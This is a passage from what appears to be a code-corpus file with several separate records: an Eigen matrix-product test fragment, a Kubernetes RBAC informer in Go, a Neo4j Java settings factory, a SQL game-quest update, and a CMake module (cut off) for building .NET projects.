s1*triTr.conjugate() * (s2*ge_left.adjoint()));\n VERIFY_IS_APPROX( ge_sx.noalias() = ge_right.adjoint() * mat.adjoint().template triangularView(), ge_right.adjoint() * triTr.conjugate());\n\n ge_xs_save = ge_xs;\n VERIFY_IS_APPROX( (ge_xs_save + s1*triTr.conjugate() * (s2*ge_left.adjoint())).eval(), ge_xs.noalias() += (s1*mat.adjoint()).template triangularView() * (s2*ge_left.adjoint()) );\n ge_sx.setRandom();\n ge_sx_save = ge_sx;\n VERIFY_IS_APPROX( ge_sx_save - (ge_right.adjoint() * (-s1 * triTr).conjugate()).eval(), ge_sx.noalias() -= (ge_right.adjoint() * (-s1 * mat).adjoint().template triangularView()).eval());\n \n VERIFY_IS_APPROX( ge_xs = (s1*mat).adjoint().template triangularView() * ge_left.adjoint(), numext::conj(s1) * triTr.conjugate() * ge_left.adjoint());\n \n // TODO check with sub-matrix expressions ?\n}\n\ntemplate\nvoid trmv(int rows=get_random_size(), int cols=get_random_size())\n{\n trmm(rows,cols,1);\n}\n\ntemplate\nvoid trmm(int rows=get_random_size(), int cols=get_random_size(), int otherCols = get_random_size())\n{\n trmm(rows,cols,otherCols);\n}\n\n#define CALL_ALL_ORDERS(NB,SCALAR,MODE) \\\n EIGEN_CAT(CALL_SUBTEST_,NB)((trmm())); \\\n EIGEN_CAT(CALL_SUBTEST_,NB)((trmm())); \\\n EIGEN_CAT(CALL_SUBTEST_,NB)((trmm())); \\\n EIGEN_CAT(CALL_SUBTEST_,NB)((trmm())); \\\n EIGEN_CAT(CALL_SUBTEST_,NB)((trmm())); \\\n EIGEN_CAT(CALL_SUBTEST_,NB)((trmm())); \\\n EIGEN_CAT(CALL_SUBTEST_,NB)((trmm())); \\\n EIGEN_CAT(CALL_SUBTEST_,NB)((trmm())); \\\n \\\n EIGEN_CAT(CALL_SUBTEST_1,NB)((trmv())); \\\n EIGEN_CAT(CALL_SUBTEST_1,NB)((trmv()));\n\n \n#define CALL_ALL(NB,SCALAR) \\\n CALL_ALL_ORDERS(EIGEN_CAT(1,NB),SCALAR,Upper) \\\n CALL_ALL_ORDERS(EIGEN_CAT(2,NB),SCALAR,UnitUpper) \\\n CALL_ALL_ORDERS(EIGEN_CAT(3,NB),SCALAR,StrictlyUpper) \\\n CALL_ALL_ORDERS(EIGEN_CAT(1,NB),SCALAR,Lower) \\\n CALL_ALL_ORDERS(EIGEN_CAT(2,NB),SCALAR,UnitLower) \\\n CALL_ALL_ORDERS(EIGEN_CAT(3,NB),SCALAR,StrictlyLower)\n \n\nvoid test_product_trmm()\n{\n for(int i = 0; i < g_repeat ; i++)\n {\n CALL_ALL(1,float); // EIGEN_SUFFIXES;11;111;21;121;31;131\n CALL_ALL(2,double); // EIGEN_SUFFIXES;12;112;22;122;32;132\n CALL_ALL(3,std::complex); // EIGEN_SUFFIXES;13;113;23;123;33;133\n CALL_ALL(4,std::complex); // EIGEN_SUFFIXES;14;114;24;124;34;134\n }\n}\n"} +{"text": "/*\nCopyright 2017 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// This file was automatically generated by informer-gen\n\npackage v1alpha1\n\nimport (\n\tv1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\truntime \"k8s.io/apimachinery/pkg/runtime\"\n\twatch \"k8s.io/apimachinery/pkg/watch\"\n\tcache \"k8s.io/client-go/tools/cache\"\n\trbac_v1alpha1 \"k8s.io/kubernetes/pkg/apis/rbac/v1alpha1\"\n\tclientset \"k8s.io/kubernetes/pkg/client/clientset_generated/clientset\"\n\tinternalinterfaces \"k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/internalinterfaces\"\n\tv1alpha1 \"k8s.io/kubernetes/pkg/client/listers/rbac/v1alpha1\"\n\ttime \"time\"\n)\n\n// RoleInformer provides access to a shared informer and lister for\n// Roles.\ntype RoleInformer interface {\n\tInformer() cache.SharedIndexInformer\n\tLister() v1alpha1.RoleLister\n}\n\ntype roleInformer struct {\n\tfactory internalinterfaces.SharedInformerFactory\n}\n\nfunc newRoleInformer(client clientset.Interface, resyncPeriod time.Duration) cache.SharedIndexInformer {\n\tsharedIndexInformer := cache.NewSharedIndexInformer(\n\t\t&cache.ListWatch{\n\t\t\tListFunc: func(options v1.ListOptions) (runtime.Object, error) {\n\t\t\t\treturn client.RbacV1alpha1().Roles(v1.NamespaceAll).List(options)\n\t\t\t},\n\t\t\tWatchFunc: func(options v1.ListOptions) (watch.Interface, error) {\n\t\t\t\treturn client.RbacV1alpha1().Roles(v1.NamespaceAll).Watch(options)\n\t\t\t},\n\t\t},\n\t\t&rbac_v1alpha1.Role{},\n\t\tresyncPeriod,\n\t\tcache.Indexers{cache.NamespaceIndex: cache.MetaNamespaceIndexFunc},\n\t)\n\n\treturn sharedIndexInformer\n}\n\nfunc (f *roleInformer) Informer() cache.SharedIndexInformer {\n\treturn f.factory.InformerFor(&rbac_v1alpha1.Role{}, newRoleInformer)\n}\n\nfunc (f *roleInformer) Lister() v1alpha1.RoleLister {\n\treturn v1alpha1.NewRoleLister(f.Informer().GetIndexer())\n}\n"} +{"text": "/*\n * Copyright (c) 2002-2020 \"Neo4j,\"\n * Neo4j Sweden AB [http://neo4j.com]\n *\n * This file is part of Neo4j.\n *\n * Neo4j is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\npackage org.neo4j.kernel.impl.index.schema.config;\n\nimport org.neo4j.configuration.Config;\nimport org.neo4j.gis.spatial.index.curves.PartialOverlapConfiguration;\nimport org.neo4j.gis.spatial.index.curves.SpaceFillingCurveConfiguration;\nimport org.neo4j.gis.spatial.index.curves.StandardConfiguration;\n\n/**\n *

    \n * This factory can be used to create new space filling curve settings for use in configuring the curves.\n * These settings can be created either by defaults from the neo4j.conf file (see ConfiguredSpaceFullCurveSettingsCache)\n * or from reading the header of an existing GBPTree based index.\n */\npublic final class SpaceFillingCurveSettingsFactory\n{\n private SpaceFillingCurveSettingsFactory()\n {\n }\n\n /**\n * This method builds the default index configuration object for the specified CRS and other config options.\n * Currently we only support a SingleSpaceFillingCurveSettings which is the best option for cartesian, but\n * not necessarily the best for geographic coordinate systems.\n */\n static SpaceFillingCurveSettings fromConfig( EnvelopeSettings envelopeSettings )\n {\n // Currently we support only one type of index, but in future we could support different types for different CRS\n return new SpaceFillingCurveSettings( envelopeSettings.getCrs().getDimension(), envelopeSettings.asEnvelope() );\n }\n\n /**\n * Extracts settings from {@link Config} about how to optimize the 2D (or 3D) to 1D mapping of the space filling curve which will be\n * used when querying geometry ranges.\n *\n * @param config {@link Config} containing space filling curve settings.\n * @return {@link SpaceFillingCurveConfiguration} from the settings found in {@link Config}.\n */\n public static SpaceFillingCurveConfiguration getConfiguredSpaceFillingCurveConfiguration( Config config )\n {\n int extraLevels = config.get( SpatialIndexSettings.space_filling_curve_extra_levels );\n double topThreshold = config.get( SpatialIndexSettings.space_filling_curve_top_threshold );\n double bottomThreshold = config.get( SpatialIndexSettings.space_filling_curve_bottom_threshold );\n\n if ( topThreshold == 0.0 || bottomThreshold == 0.0 )\n {\n return new StandardConfiguration( extraLevels );\n }\n else\n {\n return new PartialOverlapConfiguration( extraLevels, topThreshold, bottomThreshold );\n }\n }\n}\n"} +{"text": "-- Make both quests 24812 & 24813 available to players: you must complete both quests to take next one, quest 24814.\nUPDATE `quest_template_addon` SET `ExclusiveGroup`= -24812 WHERE `id` IN (24812, 24813);\n"} +{"text": "#.rst\n# FindDotnet\n# ----------\n# \n# Find DotNet executable, and initialize functions for adding dotnet projects.\n# \n# Results are reported in the following variables::\n# \n# DOTNET_FOUND - True if dotnet executable is found\n# DOTNET_EXE - Dotnet executable\n# DOTNET_VERSION - Dotnet version as reported by dotnet executable\n# NUGET_EXE - Nuget executable (WIN32 only)\n# NUGET_CACHE_PATH - Nuget package cache path\n# \n# The following functions are defined to add dotnet/msbuild projects:\n# \n# ADD_DOTNET -- add a project to be built by dotnet.\n# \n# ```\n# ADD_DOTNET( [RELEASE|DEBUG] [X86|X64|ANYCPU] [NETCOREAPP]\n# [CONFIG configuration]\n# [PLATFORM platform]\n# [PACKAGE output_nuget_packages... ]\n# [VERSION nuget_package_version]\n# [DEPENDS depend_nuget_packages... ]\n# [OUTPUT_PATH output_path relative to cmake binary output dir]\n# [CUSTOM_BUILDPROPS value....]\n# [SOURCES additional_file_dependencies... ]\n# [ARGUMENTS additional_build_args...]\n# [PACK_ARGUMENTS additional_pack_args...])\n# ```\n# \n# RUN_DOTNET -- Run a project with `dotnet run`. The `OUTPUT` argument represents artifacts \n# produced by running the .NET program, and can be consumed from other build steps.\n# \n# ```\n# RUN_DOTNET( [RELEASE|DEBUG] [X86|X64|ANYCPU] [NETCOREAPP]\n# [ARGUMENTS program_args...]\n# [OUTPUT outputs...]\n# [CONFIG configuration]\n# [PLATFORM platform]\n# [DEPENDS depend_nuget_packages... ]\n# [OUTPUT_PATH output_path relative to cmake binary output dir]\n# [CUSTOM_BUILDPROPS value....]\n# [SOURCES additional_file_dependencies... ])\n# ```\n# \n# ADD_MSBUILD -- add a project to be built by msbuild. Windows-only. When building in Unix systems, msbuild targets are skipped.\n# \n# ```\n# ADD_MSBUILD( [RELEASE|DEBUG] [X86|X64|ANYCPU] [NETCOREAPP]\n# [CONFIG configuration]\n# [PLATFORM platform]\n# [PACKAGE output_nuget_packages... ]\n# [DEPENDS depend_nuget_packages... ]\n# [CUSTOM_BUILDPROPS value....]\n# [SOURCES additional_file_dependencies... ]\n# [ARGUMENTS additional_build_args...]\n# [PACK_ARGUMENTS additional_pack_args...])\n# ```\n#\n# SMOKETEST_DOTNET -- add a dotnet smoke test project to the build. The project will be run during a build,\n# and if the program fails to build or run, the build fails. Currently only .NET Core App framework is supported.\n# Multiple smoke tests will be run one-by-one to avoid global resource conflicts.\n#\n# SMOKETEST_DOTNET( [RELEASE|DEBUG] [X86|X64|ANYCPU] [NETCOREAPP]\n# [ARGUMENTS program_args...]\n# [CONFIG configuration]\n# [PLATFORM platform]\n# [DEPENDS depend_nuget_packages... ]\n# [OUTPUT_PATH output_path relative to cmake binary output dir]\n# [CUSTOM_BUILDPROPS value....]\n# [SOURCES additional_file_dependencies... ])\n# \n# For all the above functions, `RELEASE|DEBUG` overrides `CONFIG`, `X86|X64|ANYCPU` overrides PLATFORM.\n# For Unix systems, the target framework defaults to `netstandard2.0`, unless `NETCOREAPP` is specified.\n# For Windows, the project is built as-is, allowing multi-targeting.\n#\n#\n# DOTNET_REGISTER_LOCAL_REPOSITORY -- register a local NuGet package repository.\n# \n# ```\n# DOTNET_REGISTER_LOCAL_REPOSITORY(repo_name repo_path)\n# ```\n#\n# TEST_DOTNET -- add a dotnet test project to ctest. The project will be run with `dotnet test`,\n# and trx test reports will be generated in the build directory. For Windows, all target frameworks\n# are tested against. For other platforms, only .NET Core App is tested against.\n# Test failures will not fail the build.\n# Tests are only run with `ctest -C `, not with `cmake --build ...`\n#\n# ```\n# TEST_DOTNET(\n# [ARGUMENTS additional_dotnet_test_args...]\n# [OUTPUT_PATH output_path relative to cmake binary output dir])\n# ```\n# \n# GEN_DOTNET_PROPS -- Generates a Directory.Build.props file. The created file is populated with MSBuild properties:\n# - DOTNET_PACKAGE_VERSION: a version string that can be referenced in the actual project file as $(DOTNET_PACKAGE_VERSION).\n# The version string value can be set with PACKAGE_VERSION argument, and defaults to '1.0.0'.\n# - XPLAT_LIB_DIR: points to the cmake build root directory.\n# - OutputPath: Points to the cmake binary directory (overridden by OUTPUT_PATH, relatively). Therefore, projects built without cmake will consistently output\n# to the cmake build directory.\n# - Custom properties can be injected with XML_INJECT argument, which injects an arbitrary string into the project XML file.\n#\n# ```\n# GEN_DOTNET_PROPS(\n# [PACKAGE_VERSION version]\n# [XML_INJECT xml_injection])\n# ```\n# \n# Require 3.5 for batch copy multiple files\n\ncmake_minimum_required(VERSION 3.5.0)\n\nIF(DOTNET_FOUND)\n RETURN()\nENDIF()\n\nSET(NUGET_CACHE_PATH \"~/.nuget/packages\")\nFIND_PROGRAM(DOTNET_EXE dotnet)\nSET(DOTNET_MODULE_DIR ${CMAKE_CURRENT_LIST_DIR})\n\nIF(NOT DOTNET_EXE)\n SET(DOTNET_FOUND FALSE)\n IF(Dotnet_FIND_REQUIRED)\n MESSAGE(SEND_ERROR \"Command 'dotnet' is not found.\")\n ENDIF()\n RETURN()\nENDIF()\n\nEXECUTE_PROCESS(\n COMMAND ${DOTNET_EXE} --version\n OUTPUT_VARIABLE DOTNET_VERSION\n OUTPUT_STRIP_TRAILING_WHITESPACE\n)\n\nIF(WIN32)\n FIND_PROGRAM(NUGET_EXE nuget PATHS ${CMAKE_BINARY_DIR}/tools)\n IF(NUGET_EXE)\n MESSAGE(\"-- Found nuget: ${NUGET_EXE}\")\n ELSE()\n SET(NUGET_EXE ${CMAKE_BINARY_DIR}/tools/nuget.exe)\n MESSAGE(\"-- Downloading nuget...\")\n FILE(DOWNLOAD https://dist.nuget.org/win-x86-commandline/latest/nuget.exe ${NUGET_EXE})\n MESSAGE(\"nuget.exe downloaded and saved to ${NUGET_EXE}\")\n ENDIF()\nENDIF()\n\nFUNCTION(DOTNET_REGISTER_LOCAL_REPOSITORY repo_name repo_path)\n\tMESSAGE(\"-- Registering NuGet local repository '${repo_name}' at '${repo_path}'.\")\n GET_FILENAME_COMPONENT(repo_path ${repo_path} ABSOLUTE)\n IF(WIN32)\n STRING(REPLACE \"/\" \"\\\\\" repo_path ${repo_path})\n EXECUTE_PROCESS(COMMAND ${NUGET_EXE} sources list OUTPUT_QUIET)\n EXECUTE_PROCESS(COMMAND ${NUGET_EXE} sources Remove -Name \"${repo_name}\" OUTPUT_QUIET ERROR_QUIET)\n EXECUTE_PROCESS(COMMAND ${NUGET_EXE} sources Add -Name \"${repo_name}\" -Source \"${repo_path}\")\n ELSE()\n GET_FILENAME_COMPONENT(nuget_config ~/.nuget/NuGet/NuGet.Config ABSOLUTE)\n EXECUTE_PROCESS(COMMAND ${DOTNET_EXE} nuget locals all --list OUTPUT_QUIET)\n EXECUTE_PROCESS(COMMAND sed -i \"/${repo_name}/d\" \"${nuget_config}\")\n EXECUTE_PROCESS(COMMAND sed -i \"s## \\\\n #g\" \"${nuget_config}\")\n ENDIF()\nENDFUNCTION()\n\nFUNCTION(DOTNET_GET_DEPS _DN_PROJECT arguments)\n CMAKE_PARSE_ARGUMENTS(\n # prefix\n _DN \n # options (flags)\n \"RELEASE;DEBUG;X86;X64;ANYCPU;NETCOREAPP\" \n # oneValueArgs\n \"CONFIG;PLATFORM;VERSION;OUTPUT_PATH\" \n # multiValueArgs\n \"PACKAGE;DEPENDS;ARGUMENTS;PACK_ARGUMENTS;OUTPUT;SOURCES;CUSTOM_BUILDPROPS\"\n # the input arguments\n ${arguments})\n\n GET_FILENAME_COMPONENT(_DN_abs_proj \"${_DN_PROJECT}\" ABSOLUTE)\n GET_FILENAME_COMPONENT(_DN_proj_dir \"${_DN_abs_proj}\" DIRECTORY)\n GET_FILENAME_COMPONENT(_DN_projname \"${_DN_PROJECT}\" NAME)\n STRING(REGEX REPLACE \"\\\\.[^.]*$\" \"\" _DN_projname_noext ${_DN_projname})\n\n FILE(GLOB_RECURSE DOTNET_deps \n ${_DN_proj_dir}/*.cs\n ${_DN_proj_dir}/*.fs\n ${_DN_proj_dir}/*.vb\n ${_DN_proj_dir}/*.xaml\n ${_DN_proj_dir}/*.resx\n ${_DN_proj_dir}/*.xml\n ${_DN_proj_dir}/*.*proj\n ${_DN_proj_dir}/*.cs\n ${_DN_proj_dir}/*.config)\n LIST(APPEND DOTNET_deps ${_DN_SOURCES})\n SET(_DN_deps \"\")\n FOREACH(dep ${DOTNET_deps})\n IF(NOT dep MATCHES /obj/ AND NOT dep MATCHES /bin/)\n LIST(APPEND _DN_deps ${dep})\n ENDIF()\n ENDFOREACH()\n\n\n IF(_DN_RELEASE)\n SET(_DN_CONFIG Release)\n ELSEIF(_DN_DEBUG)\n SET(_DN_CONFIG Debug)\n ENDIF()\n\n IF(NOT _DN_CONFIG)\n SET(_DN_CONFIG \"$<$:Debug>$<$>:Release>\")\n ENDIF()\n\n # If platform is not specified, do not pass the Platform property.\n # dotnet will pick the default Platform.\n\n IF(_DN_X86)\n SET(_DN_PLATFORM x86)\n ELSEIF(_DN_X64)\n SET(_DN_PLATFORM x64)\n ELSEIF(_DN_ANYCPU)\n SET(_DN_PLATFORM \"AnyCPU\")\n ENDIF()\n\n # If package version is not set, first fallback to DOTNET_PACKAGE_VERSION\n # If again not set, defaults to 1.0.0\n IF(NOT _DN_VERSION)\n SET(_DN_VERSION ${DOTNET_PACKAGE_VERSION})\n ENDIF()\n IF(NOT _DN_VERSION)\n SET(_DN_VERSION \"1.0.0\")\n ENDIF()\n\n # Set the output path to the binary directory.\n # Build outputs in separated output directories prevent overwriting.\n # Later we then copy the outputs to the destination.\n\n IF(NOT _DN_OUTPUT_PATH)\n SET(_DN_OUTPUT_PATH ${_DN_projname_noext})\n ENDIF()\n\n GET_FILENAME_COMPONENT(_DN_OUTPUT_PATH ${CMAKE_BINARY_DIR}/${_DN_OUTPUT_PATH} ABSOLUTE)\n\n # In a cmake build, the XPLAT libraries are always copied over.\n # Set the proper directory for .NET projects.\n SET(_DN_XPLAT_LIB_DIR ${CMAKE_BINARY_DIR})\n\n SET(DOTNET_PACKAGES ${_DN_PACKAGE} PARENT_SCOPE)\n SET(DOTNET_CONFIG ${_DN_CONFIG} PARENT_SCOPE)\n SET(DOTNET_PLATFORM ${_DN_PLATFORM} PARENT_SCOPE)\n SET(DOTNET_DEPENDS ${_DN_DEPENDS} PARENT_SCOPE)\n SET(DOTNET_PROJNAME ${_DN_projname_noext} PARENT_SCOPE)\n SET(DOTNET_PROJPATH ${_DN_abs_proj} PARENT_SCOPE)\n SET(DOTNET_PROJDIR ${_DN_proj_dir} PARENT_SCOPE)\n SET(DOTNET_ARGUMENTS ${_DN_ARGUMENTS} PARENT_SCOPE)\n SET(DOTNET_RUN_OUTPUT ${_DN_OUTPUT} PARENT_SCOPE)\n SET(DOTNET_PACKAGE_VERSION ${_DN_VERSION} PARENT_SCOPE)\n SET(DOTNET_OUTPUT_PATH ${_DN_OUTPUT_PATH} PARENT_SCOPE)\n SET(DOTNET_deps ${_DN_deps} PARENT_SCOPE)\n\n IF(_DN_PLATFORM)\n SET(_DN_PLATFORM_PROP \"/p:Platform=${_DN_PLATFORM}\")\n ENDIF()\n\n IF(_DN_NETCOREAPP)\n SET(_DN_BUILD_OPTIONS -f netcoreapp3.1)\n SET(_DN_PACK_OPTIONS /p:TargetFrameworks=netcoreapp3.1)\n ELSEIF(UNIX)\n # Unix builds default to netstandard2.0\n SET(_DN_BUILD_OPTIONS -f netstandard2.0)\n SET(_DN_PACK_OPTIONS /p:TargetFrameworks=netstandard2.0)\n ENDIF()\n\n SET(_DN_IMPORT_PROP ${CMAKE_CURRENT_BINARY_DIR}/${_DN_projname}.imports.props)\n CONFIGURE_FILE(${DOTNET_MODULE_DIR}/DotnetImports.props.in ${_DN_IMPORT_PROP})\n SET(_DN_IMPORT_ARGS \"/p:DirectoryBuildPropsPath=${_DN_IMPORT_PROP}\")\n\n SET(DOTNET_IMPORT_PROPERTIES ${_DN_IMPORT_ARGS} PARENT_SCOPE)\n SET(DOTNET_BUILD_PROPERTIES ${_DN_PLATFORM_PROP} ${_DN_IMPORT_ARGS} PARENT_SCOPE)\n SET(DOTNET_BUILD_OPTIONS ${_DN_BUILD_OPTIONS} PARENT_SCOPE)\n SET(DOTNET_PACK_OPTIONS --include-symbols ${_DN_PACK_OPTIONS} ${_DN_PACK_ARGUMENTS} PARENT_SCOPE)\n\nENDFUNCTION()\n\nMACRO(ADD_DOTNET_DEPENDENCY_TARGETS tgt)\n FOREACH(pkg_dep ${DOTNET_DEPENDS})\n ADD_DEPENDENCIES(${tgt}_${DOTNET_PROJNAME} PKG_${pkg_dep})\n MESSAGE(\" ${DOTNET_PROJNAME} <- ${pkg_dep}\")\n ENDFOREACH()\n\n FOREACH(pkg ${DOTNET_PACKAGES})\n STRING(TOLOWER ${pkg} pkg_lowercase)\n GET_FILENAME_COMPONENT(cache_path ${NUGET_CACHE_PATH}/${pkg_lowercase} ABSOLUTE)\n IF(WIN32)\n SET(rm_command powershell -NoLogo -NoProfile -NonInteractive -Command \"Remove-Item -Recurse -Force -ErrorAction Ignore '${cache_path}'\\; exit 0\")\n ELSE()\n SET(rm_command rm -rf ${cache_path})\n ENDIF()\n ADD_CUSTOM_TARGET(\n DOTNET_PURGE_${pkg}\n COMMAND ${CMAKE_COMMAND} -E echo \"======= [x] Purging nuget package cache for ${pkg}\"\n COMMAND ${rm_command}\n DEPENDS ${DOTNET_deps}\n )\n ADD_DEPENDENCIES(${tgt}_${DOTNET_PROJNAME} DOTNET_PURGE_${pkg})\n # Add a target for the built package -- this can be referenced in\n # another project.\n ADD_CUSTOM_TARGET(PKG_${pkg})\n ADD_DEPENDENCIES(PKG_${pkg} ${tgt}_${DOTNET_PROJNAME})\n MESSAGE(\"==== ${DOTNET_PROJNAME} -> ${pkg}\")\n ENDFOREACH()\nENDMACRO()\n\nMACRO(DOTNET_BUILD_COMMANDS)\n IF(${DOTNET_IS_MSBUILD})\n SET(build_dotnet_cmds \n COMMAND ${CMAKE_COMMAND} -E echo \"======= Building msbuild project ${DOTNET_PROJNAME} [${DOTNET_CONFIG} ${DOTNET_PLATFORM}]\"\n COMMAND ${NUGET_EXE} restore -Force ${DOTNET_PROJPATH}\n COMMAND ${DOTNET_EXE} msbuild ${DOTNET_PROJPATH} /t:Clean ${DOTNET_BUILD_PROPERTIES} /p:Configuration=\"${DOTNET_CONFIG}\"\n COMMAND ${DOTNET_EXE} msbuild ${DOTNET_PROJPATH} /t:Build ${DOTNET_BUILD_PROPERTIES} /p:Configuration=\"${DOTNET_CONFIG}\" ${DOTNET_ARGUMENTS})\n SET(build_dotnet_type \"msbuild\")\n ELSE()\n SET(build_dotnet_cmds \n COMMAND ${CMAKE_COMMAND} -E echo \"======= Building .NET project ${DOTNET_PROJNAME} [${DOTNET_CONFIG} ${DOTNET_PLATFORM}]\"\n COMMAND ${DOTNET_EXE} restore ${DOTNET_PROJPATH} ${DOTNET_IMPORT_PROPERTIES}\n COMMAND ${DOTNET_EXE} clean ${DOTNET_PROJPATH} ${DOTNET_BUILD_PROPERTIES}\n COMMAND ${DOTNET_EXE} build --no-restore ${DOTNET_PROJPATH} -c ${DOTNET_CONFIG} ${DOTNET_BUILD_PROPERTIES} ${DOTNET_BUILD_OPTIONS} ${DOTNET_ARGUMENTS})\n SET(build_dotnet_type \"dotnet\")\n ENDIF()\n\n # DOTNET_OUTPUTS refer to artifacts produced, that the BUILD_proj_name target depends on.\n SET(DOTNET_OUTPUTS \"\")\n IF(NOT \"${DOTNET_PACKAGES}\" STREQUAL \"\")\n MESSAGE(\"-- Adding ${build_dotnet_type} project ${DOTNET_PROJPATH} (version ${DOTNET_PACKAGE_VERSION})\")\n FOREACH(pkg ${DOTNET_PACKAGES})\n LIST(APPEND DOTNET_OUTPUTS ${DOTNET_OUTPUT_PATH}/${pkg}.${DOTNET_PACKAGE_VERSION}.nupkg)\n LIST(APPEND DOTNET_OUTPUTS ${DOTNET_OUTPUT_PATH}/${pkg}.${DOTNET_PACKAGE_VERSION}.symbols.nupkg)\n LIST(APPEND build_dotnet_cmds COMMAND ${CMAKE_COMMAND} -E remove ${DOTNET_OUTPUT_PATH}/${pkg}.${DOTNET_PACKAGE_VERSION}.nupkg)\n LIST(APPEND build_dotnet_cmds COMMAND ${CMAKE_COMMAND} -E remove ${DOTNET_OUTPUT_PATH}/${pkg}.${DOTNET_PACKAGE_VERSION}.symbols.nupkg)\n ENDFOREACH()\n LIST(APPEND build_dotnet_cmds COMMAND ${DOTNET_EXE} pack --no-build --no-restore ${DOTNET_PROJPATH} -c ${DOTNET_CONFIG} ${DOTNET_BUILD_PROPERTIES} ${DOTNET_PACK_OPTIONS})\n LIST(APPEND build_dotnet_cmds COMMAND ${CMAKE_COMMAND} -E copy ${DOTNET_OUTPUTS} ${CMAKE_BINARY_DIR})\n ELSE()\n MESSAGE(\"-- Adding ${build_dotnet_type} project ${DOTNET_PROJPATH} (no nupkg)\")\n ENDIF()\n LIST(APPEND DOTNET_OUTPUTS ${CMAKE_CURRENT_BINARY_DIR}/${DOTNET_PROJNAME}.buildtimestamp)\n LIST(APPEND build_dotnet_cmds COMMAND ${CMAKE_COMMAND} -E touch ${CMAKE_CURRENT_BINARY_DIR}/${DOTNET_PROJNAME}.buildtimestamp)\n\n ADD_CUSTOM_COMMAND(\n OUTPUT ${DOTNET_OUTPUTS}\n DEPENDS ${DOTNET_deps}\n ${build_dotnet_cmds}\n )\n ADD_CUSTOM_TARGET(\n BUILD_${DOTNET_PROJNAME} ALL\n DEPENDS ${DOTNET_OUTPUTS})\n\nENDMACRO()\n\nFUNCTION(ADD_DOTNET DOTNET_PROJECT)\n DOTNET_GET_DEPS(${DOTNET_PROJECT} \"${ARGN}\")\n SET(DOTNET_IS_MSBUILD FALSE)\n DOTNET_BUILD_COMMANDS()\n ADD_DOTNET_DEPENDENCY_TARGETS(BUILD)\nENDFUNCTION()\n\nFUNCTION(ADD_MSBUILD DOTNET_PROJECT)\n IF(NOT WIN32)\n MESSAGE(\"-- Building non-Win32, skipping ${DOTNET_PROJECT}\")\n RETURN()\n ENDIF()\n\n DOTNET_GET_DEPS(${DOTNET_PROJECT} \"${ARGN}\")\n SET(DOTNET_IS_MSBUILD TRUE)\n DOTNET_BUILD_COMMANDS()\n ADD_DOTNET_DEPENDENCY_TARGETS(BUILD)\nENDFUNCTION()\n\nFUNCTION(RUN_DOTNET DOTNET_PROJECT)\n DOTNET_GET_DEPS(${DOTNET_PROJECT} \"${ARGN};NETCOREAPP\")\n MESSAGE(\"-- Adding dotnet run project ${DOTNET_PROJECT}\")\n FILE(MAKE_DIRECTORY ${DOTNET_OUTPUT_PATH})\n ADD_CUSTOM_COMMAND(\n OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/${DOTNET_PROJNAME}.runtimestamp ${DOTNET_RUN_OUTPUT}\n DEPENDS ${DOTNET_deps}\n COMMAND ${DOTNET_EXE} restore ${DOTNET_PROJPATH} ${DOTNET_IMPORT_PROPERTIES}\n COMMAND ${DOTNET_EXE} clean ${DOTNET_PROJPATH} ${DOTNET_BUILD_PROPERTIES}\n COMMAND ${DOTNET_EXE} build --no-restore ${DOTNET_PROJPATH} -c ${DOTNET_CONFIG} ${DOTNET_BUILD_PROPERTIES} ${DOTNET_BUILD_OPTIONS}\n # XXX tfm\n COMMAND ${DOTNET_EXE} ${DOTNET_OUTPUT_PATH}/netcoreapp3.1/${DOTNET_PROJNAME}.dll ${DOTNET_ARGUMENTS}\n COMMAND ${CMAKE_COMMAND} -E touch ${CMAKE_CURRENT_BINARY_DIR}/${DOTNET_PROJNAME}.runtimestamp\n WORKING_DIRECTORY ${DOTNET_OUTPUT_PATH})\n ADD_CUSTOM_TARGET(\n RUN_${DOTNET_PROJNAME} \n DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${DOTNET_PROJNAME}.runtimestamp ${DOTNET_RUN_OUTPUT})\n ADD_DOTNET_DEPENDENCY_TARGETS(RUN)\nENDFUNCTION()\n\nFUNCTION(TEST_DOTNET DOTNET_PROJECT)\n DOTNET_GET_DEPS(${DOTNET_PROJECT} \"${ARGN}\")\n MESSAGE(\"-- Adding dotnet test project ${DOTNET_PROJECT}\")\n IF(WIN32)\n SET(test_framework_args \"\")\n ELSE()\n SET(test_framework_args -f netcoreapp3.1)\n ENDIF()\n\n ADD_TEST(NAME ${DOTNET_PROJNAME}\n COMMAND ${DOTNET_EXE} test ${test_framework_args} --results-directory \"${CMAKE_BINARY_DIR}\" --logger trx ${DOTNET_ARGUMENTS}\n WORKING_DIRECTORY ${DOTNET_OUTPUT_PATH})\n\nENDFUNCTION()\n\nSET_PROPERTY(GLOBAL PROPERTY DOTNET_LAST_SMOKETEST \"\")\n\nFUNCTION(SMOKETEST_DOTNET DOTNET_PROJECT)\n MESSAGE(\"-- Adding dotnet smoke test project ${DOTNET_PROJECT}\")\n IF(WIN32)\n RUN_DOTNET(${DOTNET_PROJECT} \"${ARGN}\")\n ELSE()\n RUN_DOTNET(${DOTNET_PROJECT} \"${ARGN}\")\n ENDIF()\n\n DOTNET_GET_DEPS(${DOTNET_PROJECT} \"${ARGN}\")\n ADD_CUSTOM_TARGET(\n SMOKETEST_${DOTNET_PROJNAME}\n ALL\n DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${DOTNET_PROJNAME}.runtimestamp)\n ADD_DOTNET_DEPENDENCY_TARGETS(SMOKETEST)\n GET_PROPERTY(_dn_last_smoketest GLOBAL PROPERTY DOTNET_LAST_SMOKETEST)\n IF(_dn_last_smoketest)\n MESSAGE(\"${_dn_last_smoketest} -> SMOKETEST_${DOTNET_PROJNAME}\")\n 